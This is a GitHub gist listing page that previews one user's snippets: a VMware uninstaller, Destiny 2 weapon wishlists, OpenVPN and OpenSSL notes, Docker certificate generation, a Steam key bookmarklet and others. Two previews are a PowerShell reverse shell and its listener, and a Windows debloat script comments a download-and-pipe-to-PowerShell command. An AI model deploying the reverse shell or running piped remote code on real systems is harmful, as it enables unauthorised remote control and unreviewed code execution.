Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@sunscan
sunscan / uninstall_vmware.sh
Created February 22, 2023 13:36 — forked from boneskull/uninstall_vmware.sh
completely uninstall vmware on mac
#!/usr/bin/env bash
# Usage: bash uninstall_vmware.bash
remove() {
entry="$1"
echo -ne "Removing \e[1;34m$entry\e[0m... "
sudo rm -rf "$entry" &> /tmp/uninstall-vmware.log
if [[ ! -e "$entry" ]]; then
echo -e "\e[1;32mOK\e[0m"
@sunscan
sunscan / god_rolls.txt
Last active May 7, 2022 09:22
Destiny 2 God Rolls
title:Destiny 2 God Rolls
description:Destiny 2 God Rolls
//Loud Lullaby
//notes:GiornoGaming - PvP S14
dimwishlist:item=3924212056&perks=1482024992,3230963543,3436462433,1015611457,758092021
dimwishlist:item=3924212056&perks=1482024992,3230963543,3436462433,1015611457,2697220197
//Riiswalker
//notes:ShackNews - PvP S15 - Range masterwork with Quick Access Sling Mod
dimwishlist:item=108221785&perks=1332244541,3142289711,2039302152,591790007
@sunscan
sunscan / android-client.ovpn
Created August 5, 2019 12:41 — forked from renatolfc/android-client.ovpn
A sample OpenVPN client configuration file in the unified format
client
dev tun
remote example.com
resolv-retry infinite
nobind
persist-key
persist-tun
ca [inline]
cert [inline]
key [inline]
@sunscan
sunscan / mini-reverse-listener.ps1
Last active June 22, 2018 10:57 — forked from staaldraad/mini-reverse-listener.ps1
A reverse shell listener in powershell
param (
[Parameter(Mandatory=$true)][string]$ip,
[Parameter(Mandatory=$true)][string]$port
)
$socket = new-object System.Net.Sockets.TcpListener("$ip", "$port");
if($socket -eq $null){
exit 1
}
$socket.start()
$client = $socket.AcceptTcpClient()
@sunscan
sunscan / mini-reverse.ps1
Last active June 22, 2018 10:55 — forked from staaldraad/mini-reverse.ps1
A reverse shell in Powershell
param (
[Parameter(Mandatory=$true)][string]$ip,
[Parameter(Mandatory=$true)][string]$port
)
$socket = new-object System.Net.Sockets.TcpClient("$ip", "$port");
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
@sunscan
sunscan / openssl_commands.md
Created June 20, 2018 16:35 — forked from p3t3r67x0/openssl_commands.md
Some list of openssl commands for check and verify your keys

openssl

Install

Install the OpenSSL on Debian based systems

sudo apt-get install openssl
@sunscan
sunscan / win10_remove_unwanted_apps.ps1
Last active January 3, 2018 19:32
Remove unwanted apps from Windows 10
# This script removes unwanted apps installed by default with Windows 10.
# Modified from: https://github.com/W4RH4WK/Debloat-Windows-10
#
# To execute from an administrator powershell:
# (New-Object System.Net.WebClient).DownloadString("https://gist.githubusercontent.com/sunscan/a11f391e51d663c64caa5a8d2ed87fd2/raw/win10_remove_unwanted_apps.ps1") | powershell -command -
function force-mkdir($path) {
if (!(Test-Path $path)) {
New-Item -ItemType Directory -Force -Path $path
}
#!/bin/sh -e
# git-cache-meta -- file meta data caching for possible use with
# git-bundle, git-fast-export, git-archive, hooks, as a simple
# alternative to etckeeper, metastore, setgitperms. Requires GNU Find.
#
# original version by jidanni: https://marc.info/?l=git&m=123146944027390
# some modifications borrowed from this thread: https://gist.github.com/andris9/1978266
# features:
# - works only on MacOS X with GNU find (brew install findutils)
# - save all files and directories metadata except access time
@sunscan
sunscan / generate_docker_cert.sh
Last active October 6, 2017 14:22 — forked from bradrydzewski/generate_docker_cert.sh
Generate trusted CA certificates for running Docker with HTTPS
#!/bin/bash -x
#
# Generates client and server certificates used to enable HTTPS
# remote authentication to a Docker daemon.
#
# See http://docs.docker.com/articles/https/
#
# To start the Docker Daemon:
#
# sudo docker -d \
@sunscan
sunscan / quicksteambookmarklet-encoded.js
Last active September 20, 2017 09:43 — forked from Haoose/quicksteamactivator.user.js
Steam Key Quick Activator
javascript:(function()%7Bvar%20selection%20%3D%20window.getSelection().toString()%3Bif%20(selection)%20%7Bwindow.open('https%3A%2F%2Fstore.steampowered.com%2Faccount%2Fregisterkey%3Fkey%3D'%20%2B%20selection%2C%20'_blank')%3B%7D%20else%20%7Bresult%20%3D%20prompt('Insert%20Steam%20Key')%3Bif(result%20!%3D%20null)%7Bwindow.open('https%3A%2F%2Fstore.steampowered.com%2Faccount%2Fregisterkey%3Fkey%3D'%20%2B%20result%2C%20'_blank')%3B%7D%20else%20%7Bwindow.open('https%3A%2F%2Fstore.steampowered.com%2Faccount%2Fregisterkey'%2C%20'_blank')%3B%7D%7D%7D)()